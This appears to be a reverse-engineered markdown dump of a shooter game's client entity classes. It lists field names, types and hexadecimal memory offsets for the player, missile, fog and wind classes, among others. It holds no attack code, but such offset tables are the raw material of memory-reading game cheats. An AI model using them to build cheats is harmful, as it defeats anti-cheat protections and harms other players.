+class C_DynamicProp extends C_BaseEntity + +``` +{ + m_bClientSide: Bool, +} +``` + +### Offsets + +``` +C_DynamicProp!0x1600 m_bClientSide +``` +
+
+class C_EnvWindShared + +``` +{ + m_flStartTime: Float, + m_iWindSeed: Int, + m_iMinWind: Int, + m_iMaxWind: Int, + m_windRadius: Int, + m_iMinGust: Int, + m_iMaxGust: Int, + m_flMinGustDelay: Float, + m_flMaxGustDelay: Float, + m_flGustDuration: Float, + m_iGustDirChange: Int, + m_location: Vector, + m_iszGustSound: Int, + m_iWindDir: Int, + m_flWindSpeed: Float, + m_currentWindVector: Vector, + m_CurrentSwayVector: Vector, + m_PrevSwayVector: Vector, + m_iInitialWindDir: Int, + m_flInitialWindSpeed: Float, + m_flVariationTime: Float, + m_flSimTime: Float, + m_flSwitchTime: Float, + m_flAveWindSpeed: Float, + m_bGusting: Bool, + m_flWindAngleVariation: Float, + m_flWindSpeedVariation: Float, + m_iEntIndex: Int, + m_Stream: Void, + m_WindVariationStream: Void, + m_WindAveQueue: Void, + m_WindVariationQueue: Void, +} +``` + +### Offsets + +``` +C_EnvWindShared!0x0008 m_flStartTime +C_EnvWindShared!0x000c m_iWindSeed +C_EnvWindShared!0x0010 m_iMinWind +C_EnvWindShared!0x0014 m_iMaxWind +C_EnvWindShared!0x0018 m_windRadius +C_EnvWindShared!0x001c m_iMinGust +C_EnvWindShared!0x0020 m_iMaxGust +C_EnvWindShared!0x0024 m_flMinGustDelay +C_EnvWindShared!0x0028 m_flMaxGustDelay +C_EnvWindShared!0x002c m_flGustDuration +C_EnvWindShared!0x0030 m_iGustDirChange +C_EnvWindShared!0x0034 m_location +C_EnvWindShared!0x0040 m_iszGustSound +C_EnvWindShared!0x0044 m_iWindDir +C_EnvWindShared!0x0048 m_flWindSpeed +C_EnvWindShared!0x004c m_currentWindVector +C_EnvWindShared!0x0058 m_CurrentSwayVector +C_EnvWindShared!0x0064 m_PrevSwayVector +C_EnvWindShared!0x0070 m_iInitialWindDir +C_EnvWindShared!0x0074 m_flInitialWindSpeed +C_EnvWindShared!0x0078 m_flVariationTime +C_EnvWindShared!0x007c m_flSimTime +C_EnvWindShared!0x0080 m_flSwitchTime +C_EnvWindShared!0x0084 m_flAveWindSpeed +C_EnvWindShared!0x0088 m_bGusting +C_EnvWindShared!0x008c m_flWindAngleVariation +C_EnvWindShared!0x0090 m_flWindSpeedVariation +C_EnvWindShared!0x0094 m_iEntIndex +C_EnvWindShared!0x0098 m_Stream +C_EnvWindShared!0x00d0 m_WindVariationStream +C_EnvWindShared!0x0108 m_WindAveQueue +C_EnvWindShared!0x0140 m_WindVariationQueue +``` +
+
+class C_ExposureController extends C_BaseEntity + +``` +{ + m_autoCompensation: Float, + m_autoForceValue: Float, + m_autoMin: Float, + m_autoMax: Float, + m_autoSpeed: Float, + m_minFadeTime: Float, + m_isDirectional: Bool, + m_directionalHalfAngle: Float, +} +``` + +### Offsets + +``` +C_ExposureController!0x0a40 m_autoCompensation +C_ExposureController!0x0a44 m_autoForceValue +C_ExposureController!0x0a48 m_autoMin +C_ExposureController!0x0a4c m_autoMax +C_ExposureController!0x0a50 m_autoSpeed +C_ExposureController!0x0a54 m_minFadeTime +C_ExposureController!0x0a58 m_isDirectional +C_ExposureController!0x0a5c m_directionalHalfAngle +``` +
+
+class C_ExposureVolume extends C_BaseEntity + +``` +{ + m_volumeTester: Outer, + m_exposureTarget: ClassPtr, + m_exposureTargetName: String, + m_exposurePriority: Float, +} +``` + +### Offsets + +``` +C_ExposureVolume!0x0a40 m_volumeTester +C_ExposureVolume!0x0a48 m_exposureTarget +C_ExposureVolume!0x0a50 m_exposureTargetName +C_ExposureVolume!0x0a58 m_exposurePriority +``` +
+
+class C_FogController extends C_BaseEntity + +``` +{ + m_fogParams: fogplayerparamsstate_t, + m_fogAngles: Vector, + m_useAbsAngles: Bool, +} +``` + +### Offsets + +``` +C_FogController!0x0a40 m_fogParams +C_FogController!0x0aa8 m_fogAngles +C_FogController!0x0ab4 m_useAbsAngles +``` +
+
+class C_FogVolume extends C_BaseEntity + +``` +{ + m_volumeTester: Outer, + m_fogTarget: ClassPtr, + m_fogTargetName: String, + m_fogPriority: Int, +} +``` + +### Offsets + +``` +C_FogVolume!0x0a40 m_volumeTester +C_FogVolume!0x0a48 m_fogTarget +C_FogVolume!0x0a50 m_fogTargetName +C_FogVolume!0x0a58 m_fogPriority +``` +
+
+class C_GlobalNonRewinding extends C_BaseEntity + +``` +{ + m_playerObserver: C_ObserverMode, + m_playerMiscData: C_NonRewindMiscData, +} +``` + +### Offsets + +``` +C_GlobalNonRewinding!0x0a40 m_playerObserver +C_GlobalNonRewinding!0x0e40 m_playerMiscData +``` +
+
+class C_KnockBack + +``` +{ + velocity: Vector, + beginTime: Time, + endTime: Time, +} +``` + +### Offsets + +``` +C_KnockBack!0x0008 velocity +C_KnockBack!0x0014 beginTime +C_KnockBack!0x0018 endTime +``` +
+
+class C_Missile extends C_Projectile + +``` +{ + m_hasPlayedWhizby: Bool, + m_whizByStart: Vector, + m_whizBySoundName: Char, + m_homingSpeed: Float, + m_homingSpeedDodgingPlayer: Float, + m_launchDir: Vector, + m_hSpecificTarget: EHANDLE, + m_targetOffset: Vector, + m_targetPosition: Vector, + m_useTargetPosition: Bool, + m_postIgnitionSpeed: Float, + m_flGracePeriodEndsAt: Time, + m_pathSettingsInitialized: Bool, + m_expandContractMissile: Bool, + m_spiralMissile: Bool, + m_spiralSettings: Void, + m_expandContractSettings: MissilePathExpandContractSettings_Client, + m_lastThinkTime: Time, + m_explosionIgnoreEntity: EHANDLE, +} +``` + +### Offsets + +``` +C_Missile!0x2c40 m_hasPlayedWhizby +C_Missile!0x2c44 m_whizByStart +C_Missile!0x2c50 m_whizBySoundName +C_Missile!0x2c90 m_homingSpeed +C_Missile!0x2c94 m_homingSpeedDodgingPlayer +C_Missile!0x2c98 m_launchDir +C_Missile!0x2ca4 m_hSpecificTarget +C_Missile!0x2ca8 m_targetOffset +C_Missile!0x2cb4 m_targetPosition +C_Missile!0x2cc0 m_useTargetPosition +C_Missile!0x2cc4 m_postIgnitionSpeed +C_Missile!0x2cc8 m_flGracePeriodEndsAt +C_Missile!0x2ccc m_pathSettingsInitialized +C_Missile!0x2ccd m_expandContractMissile +C_Missile!0x2cce m_spiralMissile +C_Missile!0x2d08 m_spiralSettings +C_Missile!0x2d38 m_expandContractSettings +C_Missile!0x2d90 m_lastThinkTime +C_Missile!0x2d94 m_explosionIgnoreEntity +``` +
+
+class C_NPC_SentryTurret extends C_BaseEntity + +``` +{ + m_killCount: Int, + m_titanKillCount: Int, +} +``` + +### Offsets + +``` +C_NPC_SentryTurret!0x1d44 m_killCount +C_NPC_SentryTurret!0x1d48 m_titanKillCount +``` +
+
+class C_NonRewindMiscData + +``` +{ + m_nextRespawnTime: Float, + m_musicPackAssigned: Int, +} +``` + +### Offsets + +``` +C_NonRewindMiscData!0x0000 m_nextRespawnTime +C_NonRewindMiscData!0x0004 m_musicPackAssigned +``` +
+
+class C_ObserverMode + +``` +{ + m_observerMode: Int, + m_observerTarget: EHANDLE, +} +``` + +### Offsets + +``` +C_ObserverMode!0x0000 m_observerMode +C_ObserverMode!0x0004 m_observerTarget +``` +
+
+class C_ParticleSystem extends C_BaseEntity + +``` +{ + m_bClientSide: Bool, + m_bActive: Bool, + m_warmUpTime: Float, + m_pauseAfterWarmup: Bool, + m_bInSkybox: Bool, + m_killForReplay: Bool, + m_killIfOverLimit: Bool, +} +``` + +### Offsets + +``` +C_ParticleSystem!0x0a48 m_bClientSide +C_ParticleSystem!0x0a49 m_bActive +C_ParticleSystem!0x0a50 m_warmUpTime +C_ParticleSystem!0x0a54 m_pauseAfterWarmup +C_ParticleSystem!0x0a55 m_bInSkybox +C_ParticleSystem!0x0a56 m_killForReplay +C_ParticleSystem!0x0a57 m_killIfOverLimit +``` +
+
+class C_Player extends C_BaseCombatCharacter + +``` +{ + m_fFlags: Int, + m_currentFrame.animCycle: Float, + m_pMoveParent: EHANDLE, + m_vecAbsVelocity: Vector, + m_hGroundEntity: EHANDLE, + m_flMaxspeed: Int, + m_vecVelocity: Vector, + m_flFriction: Float, + m_nNextThinkTick: Int, + m_SequenceTransitioner: C_SequenceTransitioner, + m_currentFrameBaseAnimating.animStartTime: Float, + m_currentFrameBaseAnimating.animStartCycle: Float, + m_currentFrameBaseAnimating.animSequence: Int, + m_currentFrameBaseAnimating.animSequenceParity: Int, + m_currentFrameBaseAnimating.m_flPoseParameters: Float, + m_bZooming: Bool, + m_zoomToggleOnStartTime: Time, + m_zoomBaseFrac: Float, + m_zoomBaseTime: Time, + m_zoomFullStartTime: Time, + m_lastUCmdSimulationTicks: Int, + m_lastUCmdSimulationRemainderTime: Float, + m_Local: C_PlayerLocalData, + m_currentFramePlayer.timeBase: Float, + m_currentFramePlayer.statusEffectsTimedPlayerCUR: StatusEffectTimedData, + m_currentFramePlayer.statusEffectsEndlessPlayerCUR: StatusEffectEndlessData, + m_currentFramePlayer.m_flHullHeight: Float, + m_currentFramePlayer.m_traversalAnimProgress: Float, + m_currentFramePlayer.m_sprintTiltFrac: Float, + m_currentFramePlayer.m_ammoPoolCount: Int, + m_currentFrameLocalPlayer.m_stepSmoothingOffset: Vector, + m_currentFrameLocalPlayer.m_duckTransitionRemainderMsec: Int, + m_currentFrameLocalPlayer.m_vecPunchBase_Angle: Vector, + m_currentFrameLocalPlayer.m_vecPunchBase_AngleVel: Vector, + m_currentFrameLocalPlayer.m_vecPunchWeapon_Angle: Vector, + m_currentFrameLocalPlayer.m_vecPunchWeapon_AngleVel.x: Float, + m_currentFrameLocalPlayer.m_vecPunchWeapon_AngleVel.y: Float, + m_currentFrameLocalPlayer.m_vecPunchWeapon_AngleVel.z: Float, + m_currentFrameLocalPlayer.m_localGravityRotation: Quaternion, + pl: CPlayerState, + m_ammoPoolCapacity: Int, + m_classModsActive: 29, + m_gestureSequences: Int, + m_gestureStartTimes: Time, + m_gestureBlendInDuration: Float, + m_gestureBlendOutDuration: Float, + m_gestureFadeOutStartTime: Time, + m_gestureFadeOutDuration: Float, + m_gestureAutoKillBitfield: Int, + m_afButtonLast: Int, + m_afButtonPressed: Int, + m_afButtonReleased: Int, + m_nButtons: Int, + m_nImpulse: Int, + m_flPhysics: Int, + m_flStepSoundTime: Float, + m_flTimeAllSuitDevicesOff: Float, + m_fStickySprintMinTime: Float, + m_bPlayedSprintStartEffects: Bool, + m_fIsSprinting: Bool, + m_fIsWalking: Bool, + m_lastSprintPressTime: Time, + m_stickySprintForwardEnableTime: Time, + m_stickySprintForwardDisableTime: Time, + m_sprintStartedTime: Time, + m_sprintStartedFrac: Float, + m_sprintEndedTime: Time, + m_sprintEndedFrac: Float, + m_stickySprintStartTime: Time, + m_damageImpulseNoDecelEndTime: Time, + m_duckState: Int, + m_leanState: Int, + m_doingHalfDuck: Bool, + m_canStand: Bool, + m_StandHullMin: Vector, + m_StandHullMax: Vector, + m_DuckHullMin: Vector, + m_DuckHullMax: Vector, + m_upDir: Vector, + m_upDirPredicted: Vector, + m_lastWallRunStartPos: Vector, + m_wallRunCount: Int, + m_wallRunWeak: Bool, + m_shouldBeOneHanded: Bool, + m_oneHandFraction: Float, + m_animAimPitch: Float, + m_animAimYaw: Float, + m_wallRunPushAwayTime: Float, + m_wallrunRetryTime: Time, + m_wallrunRetryPos: Vector, + m_wallrunRetryNormal: Vector, + m_wallHangTime: Float, + m_traversalState: Int, + m_traversalType: Int, + m_traversalBegin: Vector, + m_traversalMid: Vector, + m_traversalEnd: Vector, + m_traversalMidFrac: Float, + m_traversalForwardDir: Vector, + m_traversalRefPos: Vector, + m_traversalProgress: Float, + m_traversalStartTime: Time, + m_traversalHandAppearTime: Time, + m_traversalReleaseTime: Time, + m_traversalBlendOutStartTime: Time, + m_traversalBlendOutStartOffset: Vector, + m_traversalYawDelta: Float, + m_wallDangleJumpOffTime: Time, + m_wallDangleMayHangHere: Bool, + m_wallDangleForceFallOff: Bool, + m_wallDangleLastPushedForward: Bool, + m_wallDangleDisableWeapon: Int, + m_wallDangleClimbProgressFloor: Float, + m_wallClimbSetUp: Bool, + m_wallHanging: Bool, + m_gravityLiftActive: Bool, + m_gravityLiftLastOrigin: Vector, + m_gravityLiftEjectVelocity: Vector, + m_grapple: GrappleData, + m_grapple: GrappleData, + m_grappleActive: Bool, + m_grappleActive: Bool, + m_grappleNeedWindowCheck: Bool, + m_grappleNextWindowHint: EHANDLE, + m_slowMoEnabled: Bool, + m_sliding: Bool, + m_slideLongJumpAllowed: Bool, + m_lastSlideTime: Time, + m_lastSlideBoost: Float, + m_gravityGrenadeStatusEffect: Int, + m_bIsStickySprinting: Bool, + m_prevMoveYaw: Float, + m_sprintTiltVel: Float, + m_turret: EHANDLE, + m_hViewModels: EHANDLE, + m_viewOffsetEntity: Player_ViewOffsetEntityData, + m_activeZipline: EHANDLE, + m_lastZipline: EHANDLE, + m_lastZiplineDetachTime: Time, + m_ziplineValid3pWeaponLayerAnim: Bool, + m_ziplineState: Int, + m_zipline: PlayerZiplineData_Client, + m_ziplineViewOffsetPosition: Vector, + m_ziplineViewOffsetVelocity: Vector, + m_ziplineGrenadeEntity: EHANDLE, + m_ziplineGrenadeBeginStationEntity: EHANDLE, + m_ziplineGrenadeBeginStationAttachmentIndex: Int, + m_sameZiplineCooldownTime: Float, + m_playAnimationType: Int, + m_detachGrappleOnPlayAnimationEnd: Bool, + m_playAnimationNext: Int, + m_boosting: Bool, + m_activateBoost: Bool, + m_repeatedBoost: Bool, + m_boostMeter: Float, + m_jetpack: Bool, + m_activateJetpack: Bool, + m_jetpackAfterburner: Bool, + m_gliding: Bool, + m_glideMeter: Float, + m_glideRechargeDelayAccumulator: Float, + m_hovering: Bool, + m_isPerformingBoostAction: Bool, + m_lastJumpHeight: Float, + m_touchingUpdraftTriggers: EHANDLE, + m_touchingUpdraftTriggersCount: Int, + m_touchingSlipTriggers: EHANDLE, + m_touchingSlipTriggersCount: Int, + m_slipAirRestrictDirection: Vector, + m_slipAirRestrictTime: Time, + m_melee: PlayerMelee_PlayerData, + m_useCredit: Bool, + m_wallRunStartTime: Time, + m_wallRunClearTime: Time, + m_onSlopeTime: Float, + m_lastWallNormal: Vector, + m_dodging: Bool, + m_lastDodgeTime: Time, + m_vecPreviouslyPredictedOrigin: Vector, + m_flTimeLastTouchedWall: Float, + m_timeJetpackHeightActivateCheckPassed: Time, + m_flTimeLastTouchedGround: Float, + m_flTimeLastJumped: Float, + m_flTimeLastLanded: Float, + m_flLastLandFromHeight: Float, + m_usePressedTime: Float, + m_lastUseTime: Float, + m_lastFakeFloorPos: Vector, + m_bHasJumpedSinceTouchedGround: Bool, + m_bDoMultiJumpPenalty: Bool, + m_dodgingInAir: Bool, + m_activeViewmodelModifiers: Bool, + m_lastMoveInputTime: Time, + m_ignoreEntityForMovementUntilNotTouching: EHANDLE, + m_gameMovementUtil.m_surfaceFriction: Float, + m_lungeTargetEntity: EHANDLE, + m_isLungingToPosition: Bool, + m_lungeTargetPosition: Vector, + m_lungeStartPositionOffset: Vector, + m_lungeEndPositionOffset: Vector, + m_lungeStartTime: Time, + m_lungeEndTime: Time, + m_lungeCanFly: Bool, + m_lungeLockPitch: Bool, + m_lungeStartPitch: Float, + m_lungeSmoothTime: Float, + m_lungeMaxTime: Float, + m_lungeMaxEndSpeed: Float, + m_vPrevGroundNormal: Vector, + m_pushAwayFromTopAcceleration: Vector, + m_controllerModeActive: Bool, + m_skydiveForwardPoseValueVelocity: Float, + m_skydiveForwardPoseValueTarget: Float, + m_skydiveForwardPoseValueCurrent: Float, + m_skydiveSidePoseValueVelocity: Float, + m_skydiveSidePoseValueTarget: Float, + m_skydiveSidePoseValueCurrent: Float, + m_skydiveYawVelocity: Float, + m_skydiveIsNearLeviathan: Bool, + m_skydiveState: Int, + m_skydiveStartTime: Time, + m_skydiveEndTime: Time, + m_skydiveAnticipateStartTime: Time, + m_skydiveAnticipateEndTime: Time, + m_skydiveDistanceToLand: Float, + m_skydiveDiveAngle: Float, + m_skydiveIsDiving: Bool, + m_skydiveSpeed: Float, + m_skydiveStrafeAngle: Float, + m_skydiveFreelookEnabled: Bool, + m_skydiveFreelookLockedAngle: Vector, + m_skydivePlayerPitch: Float, + m_skydivePlayerYaw: Float, + m_skydiveFollowing: Bool, + m_skydiveUnfollowVelocity: Vector, + m_skydiveLeviathanHitPosition: Vector, + m_skydiveLeviathanHitNormal: Vector, + m_skydiveSlipVelocity: Vector, + m_playerKnockBacks: C_KnockBack, + m_updraftCount: Int, + m_updraftStage: Int, + m_updraftEnterTime: Time, + m_updraftLeaveTime: Time, + m_updraftMinShakeActivationHeight: Float, + m_updraftMaxShakeActivationHeight: Float, + m_updraftLiftActivationHeight: Float, + m_updraftLiftSpeed: Float, + m_updraftLiftAcceleration: Float, + m_updraftLiftExitDuration: Float, + m_updraftSlowTime: Time, +} +``` + +### Offsets + +``` +C_Player!0x0098 m_fFlags +C_Player!0x00c4 m_currentFrame.animCycle +C_Player!0x0118 m_pMoveParent +C_Player!0x0140 m_vecAbsVelocity +C_Player!0x041c m_hGroundEntity +C_Player!0x0424 m_flMaxspeed +C_Player!0x0460 m_vecVelocity +C_Player!0x0478 m_flFriction +C_Player!0x054c m_nNextThinkTick +C_Player!0x0c00 m_SequenceTransitioner +C_Player!0x0f4c m_currentFrameBaseAnimating.animStartTime +C_Player!0x0f50 m_currentFrameBaseAnimating.animStartCycle +C_Player!0x0f60 m_currentFrameBaseAnimating.animSequence +C_Player!0x0f64 m_currentFrameBaseAnimating.animSequenceParity +C_Player!0x0f68 m_currentFrameBaseAnimating.m_flPoseParameters +C_Player!0x1b81 m_bZooming +C_Player!0x1b84 m_zoomToggleOnStartTime +C_Player!0x1b88 m_zoomBaseFrac +C_Player!0x1b8c m_zoomBaseTime +C_Player!0x1b90 m_zoomFullStartTime +C_Player!0x1c14 m_lastUCmdSimulationTicks +C_Player!0x1c18 m_lastUCmdSimulationRemainderTime +C_Player!0x1d38 m_Local +C_Player!0x2020 m_currentFramePlayer.timeBase +C_Player!0x2028 m_currentFramePlayer.statusEffectsTimedPlayerCUR +C_Player!0x2118 m_currentFramePlayer.statusEffectsEndlessPlayerCUR +C_Player!0x21b8 m_currentFramePlayer.m_flHullHeight +C_Player!0x21bc m_currentFramePlayer.m_traversalAnimProgress +C_Player!0x21c0 m_currentFramePlayer.m_sprintTiltFrac +C_Player!0x21d0 m_currentFramePlayer.m_ammoPoolCount +C_Player!0x23a0 m_currentFrameLocalPlayer.m_stepSmoothingOffset +C_Player!0x23ac m_currentFrameLocalPlayer.m_duckTransitionRemainderMsec +C_Player!0x23b0 m_currentFrameLocalPlayer.m_vecPunchBase_Angle +C_Player!0x23bc m_currentFrameLocalPlayer.m_vecPunchBase_AngleVel +C_Player!0x23c8 m_currentFrameLocalPlayer.m_vecPunchWeapon_Angle +C_Player!0x23d4 m_currentFrameLocalPlayer.m_vecPunchWeapon_AngleVel.x +C_Player!0x23d8 m_currentFrameLocalPlayer.m_vecPunchWeapon_AngleVel.y +C_Player!0x23dc m_currentFrameLocalPlayer.m_vecPunchWeapon_AngleVel.z +C_Player!0x2410 m_currentFrameLocalPlayer.m_localGravityRotation +C_Player!0x2430 pl +C_Player!0x24b4 m_ammoPoolCapacity +C_Player!0x24f0 m_classModsActive +C_Player!0x27c4 m_gestureSequences +C_Player!0x27e4 m_gestureStartTimes +C_Player!0x2804 m_gestureBlendInDuration +C_Player!0x2824 m_gestureBlendOutDuration +C_Player!0x2844 m_gestureFadeOutStartTime +C_Player!0x2864 m_gestureFadeOutDuration +C_Player!0x2884 m_gestureAutoKillBitfield +C_Player!0x28a0 m_afButtonLast +C_Player!0x28a4 m_afButtonPressed +C_Player!0x28a8 m_afButtonReleased +C_Player!0x28ac m_nButtons +C_Player!0x28b0 m_nImpulse +C_Player!0x28b4 m_flPhysics +C_Player!0x28b8 m_flStepSoundTime +C_Player!0x28bc m_flTimeAllSuitDevicesOff +C_Player!0x28c0 m_fStickySprintMinTime +C_Player!0x28c4 m_bPlayedSprintStartEffects +C_Player!0x28cc m_fIsSprinting +C_Player!0x28cd m_fIsWalking +C_Player!0x28d0 m_lastSprintPressTime +C_Player!0x28d4 m_stickySprintForwardEnableTime +C_Player!0x28d8 m_stickySprintForwardDisableTime +C_Player!0x28dc m_sprintStartedTime +C_Player!0x28e0 m_sprintStartedFrac +C_Player!0x28e4 m_sprintEndedTime +C_Player!0x28e8 m_sprintEndedFrac +C_Player!0x28ec m_stickySprintStartTime +C_Player!0x28f0 m_damageImpulseNoDecelEndTime +C_Player!0x2910 m_duckState +C_Player!0x2914 m_leanState +C_Player!0x2918 m_doingHalfDuck +C_Player!0x2919 m_canStand +C_Player!0x291c m_StandHullMin +C_Player!0x2928 m_StandHullMax +C_Player!0x2934 m_DuckHullMin +C_Player!0x2940 m_DuckHullMax +C_Player!0x2950 m_upDir +C_Player!0x295c m_upDirPredicted +C_Player!0x2968 m_lastWallRunStartPos +C_Player!0x2974 m_wallRunCount +C_Player!0x2978 m_wallRunWeak +C_Player!0x2979 m_shouldBeOneHanded +C_Player!0x297c m_oneHandFraction +C_Player!0x2980 m_animAimPitch +C_Player!0x2984 m_animAimYaw +C_Player!0x2988 m_wallRunPushAwayTime +C_Player!0x2994 m_wallrunRetryTime +C_Player!0x2998 m_wallrunRetryPos +C_Player!0x29a4 m_wallrunRetryNormal +C_Player!0x29c8 m_wallHangTime +C_Player!0x29cc m_traversalState +C_Player!0x29d0 m_traversalType +C_Player!0x29d4 m_traversalBegin +C_Player!0x29e0 m_traversalMid +C_Player!0x29ec m_traversalEnd +C_Player!0x29f8 m_traversalMidFrac +C_Player!0x29fc m_traversalForwardDir +C_Player!0x2a08 m_traversalRefPos +C_Player!0x2a14 m_traversalProgress +C_Player!0x2a18 m_traversalStartTime +C_Player!0x2a1c m_traversalHandAppearTime +C_Player!0x2a20 m_traversalReleaseTime +C_Player!0x2a24 m_traversalBlendOutStartTime +C_Player!0x2a28 m_traversalBlendOutStartOffset +C_Player!0x2a34 m_traversalYawDelta +C_Player!0x2a40 m_wallDangleJumpOffTime +C_Player!0x2a44 m_wallDangleMayHangHere +C_Player!0x2a45 m_wallDangleForceFallOff +C_Player!0x2a46 m_wallDangleLastPushedForward +C_Player!0x2a48 m_wallDangleDisableWeapon +C_Player!0x2a4c m_wallDangleClimbProgressFloor +C_Player!0x2a50 m_wallClimbSetUp +C_Player!0x2a51 m_wallHanging +C_Player!0x2a52 m_gravityLiftActive +C_Player!0x2a54 m_gravityLiftLastOrigin +C_Player!0x2a60 m_gravityLiftEjectVelocity +C_Player!0x2a70 m_grapple +C_Player!0x2a70 m_grapple +C_Player!0x2b00 m_grappleActive +C_Player!0x2b00 m_grappleActive +C_Player!0x2b01 m_grappleNeedWindowCheck +C_Player!0x2b04 m_grappleNextWindowHint +C_Player!0x2b14 m_slowMoEnabled +C_Player!0x2b15 m_sliding +C_Player!0x2b16 m_slideLongJumpAllowed +C_Player!0x2b18 m_lastSlideTime +C_Player!0x2b1c m_lastSlideBoost +C_Player!0x2b20 m_gravityGrenadeStatusEffect +C_Player!0x2b24 m_bIsStickySprinting +C_Player!0x2b28 m_prevMoveYaw +C_Player!0x2b2c m_sprintTiltVel +C_Player!0x2b48 m_turret +C_Player!0x2b4c m_hViewModels +C_Player!0x2b60 m_viewOffsetEntity +C_Player!0x2ca0 m_activeZipline +C_Player!0x2ca4 m_lastZipline +C_Player!0x2ca8 m_lastZiplineDetachTime +C_Player!0x2cac m_ziplineValid3pWeaponLayerAnim +C_Player!0x2cb0 m_ziplineState +C_Player!0x2cb8 m_zipline +C_Player!0x2d28 m_ziplineViewOffsetPosition +C_Player!0x2d34 m_ziplineViewOffsetVelocity +C_Player!0x2d40 m_ziplineGrenadeEntity +C_Player!0x2d44 m_ziplineGrenadeBeginStationEntity +C_Player!0x2d48 m_ziplineGrenadeBeginStationAttachmentIndex +C_Player!0x2d50 m_sameZiplineCooldownTime +C_Player!0x2d58 m_playAnimationType +C_Player!0x2d5c m_detachGrappleOnPlayAnimationEnd +C_Player!0x2d60 m_playAnimationNext +C_Player!0x2d74 m_boosting +C_Player!0x2d75 m_activateBoost +C_Player!0x2d76 m_repeatedBoost +C_Player!0x2d78 m_boostMeter +C_Player!0x2d7c m_jetpack +C_Player!0x2d7d m_activateJetpack +C_Player!0x2d7e m_jetpackAfterburner +C_Player!0x2d7f m_gliding +C_Player!0x2d80 m_glideMeter +C_Player!0x2d84 m_glideRechargeDelayAccumulator +C_Player!0x2d88 m_hovering +C_Player!0x2d89 m_isPerformingBoostAction +C_Player!0x2d8c m_lastJumpHeight +C_Player!0x2d90 m_touchingUpdraftTriggers +C_Player!0x2dd0 m_touchingUpdraftTriggersCount +C_Player!0x2dd4 m_touchingSlipTriggers +C_Player!0x2e14 m_touchingSlipTriggersCount +C_Player!0x2e18 m_slipAirRestrictDirection +C_Player!0x2e24 m_slipAirRestrictTime +C_Player!0x2fb8 m_melee +C_Player!0x2ff0 m_useCredit +C_Player!0x336c m_wallRunStartTime +C_Player!0x3370 m_wallRunClearTime +C_Player!0x3374 m_onSlopeTime +C_Player!0x3378 m_lastWallNormal +C_Player!0x3384 m_dodging +C_Player!0x3388 m_lastDodgeTime +C_Player!0x338c m_vecPreviouslyPredictedOrigin +C_Player!0x33a4 m_flTimeLastTouchedWall +C_Player!0x33a8 m_timeJetpackHeightActivateCheckPassed +C_Player!0x33ac m_flTimeLastTouchedGround +C_Player!0x33b0 m_flTimeLastJumped +C_Player!0x33b4 m_flTimeLastLanded +C_Player!0x33b8 m_flLastLandFromHeight +C_Player!0x33bc m_usePressedTime +C_Player!0x33c0 m_lastUseTime +C_Player!0x33d0 m_lastFakeFloorPos +C_Player!0x33dc m_bHasJumpedSinceTouchedGround +C_Player!0x33dd m_bDoMultiJumpPenalty +C_Player!0x33de m_dodgingInAir +C_Player!0x35c8 m_activeViewmodelModifiers +C_Player!0x3848 m_lastMoveInputTime +C_Player!0x384c m_ignoreEntityForMovementUntilNotTouching +C_Player!0x3d18 m_gameMovementUtil.m_surfaceFriction +C_Player!0x3d94 m_lungeTargetEntity +C_Player!0x3d98 m_isLungingToPosition +C_Player!0x3d9c m_lungeTargetPosition +C_Player!0x3da8 m_lungeStartPositionOffset +C_Player!0x3db4 m_lungeEndPositionOffset +C_Player!0x3dc0 m_lungeStartTime +C_Player!0x3dc4 m_lungeEndTime +C_Player!0x3dc8 m_lungeCanFly +C_Player!0x3dc9 m_lungeLockPitch +C_Player!0x3dcc m_lungeStartPitch +C_Player!0x3dd0 m_lungeSmoothTime +C_Player!0x3dd4 m_lungeMaxTime +C_Player!0x3dd8 m_lungeMaxEndSpeed +C_Player!0x4094 m_vPrevGroundNormal +C_Player!0x4254 m_pushAwayFromTopAcceleration +C_Player!0x4280 m_controllerModeActive +C_Player!0x4298 m_skydiveForwardPoseValueVelocity +C_Player!0x429c m_skydiveForwardPoseValueTarget +C_Player!0x42a0 m_skydiveForwardPoseValueCurrent +C_Player!0x42a4 m_skydiveSidePoseValueVelocity +C_Player!0x42a8 m_skydiveSidePoseValueTarget +C_Player!0x42ac m_skydiveSidePoseValueCurrent +C_Player!0x42b0 m_skydiveYawVelocity +C_Player!0x42b4 m_skydiveIsNearLeviathan +C_Player!0x42d0 m_skydiveState +C_Player!0x42d4 m_skydiveStartTime +C_Player!0x42d8 m_skydiveEndTime +C_Player!0x42dc m_skydiveAnticipateStartTime +C_Player!0x42e0 m_skydiveAnticipateEndTime +C_Player!0x42e4 m_skydiveDistanceToLand +C_Player!0x42e8 m_skydiveDiveAngle +C_Player!0x42ec m_skydiveIsDiving +C_Player!0x42f0 m_skydiveSpeed +C_Player!0x42f4 m_skydiveStrafeAngle +C_Player!0x42f8 m_skydiveFreelookEnabled +C_Player!0x42fc m_skydiveFreelookLockedAngle +C_Player!0x4308 m_skydivePlayerPitch +C_Player!0x430c m_skydivePlayerYaw +C_Player!0x4310 m_skydiveFollowing +C_Player!0x4314 m_skydiveUnfollowVelocity +C_Player!0x4324 m_skydiveLeviathanHitPosition +C_Player!0x4330 m_skydiveLeviathanHitNormal +C_Player!0x433c m_skydiveSlipVelocity +C_Player!0x4360 m_playerKnockBacks +C_Player!0x43e0 m_updraftCount +C_Player!0x43e4 m_updraftStage +C_Player!0x43e8 m_updraftEnterTime +C_Player!0x43ec m_updraftLeaveTime +C_Player!0x43f0 m_updraftMinShakeActivationHeight +C_Player!0x43f4 m_updraftMaxShakeActivationHeight +C_Player!0x43f8 m_updraftLiftActivationHeight +C_Player!0x43fc m_updraftLiftSpeed +C_Player!0x4400 m_updraftLiftAcceleration +C_Player!0x4404 m_updraftLiftExitDuration +C_Player!0x4408 m_updraftSlowTime +``` +
+
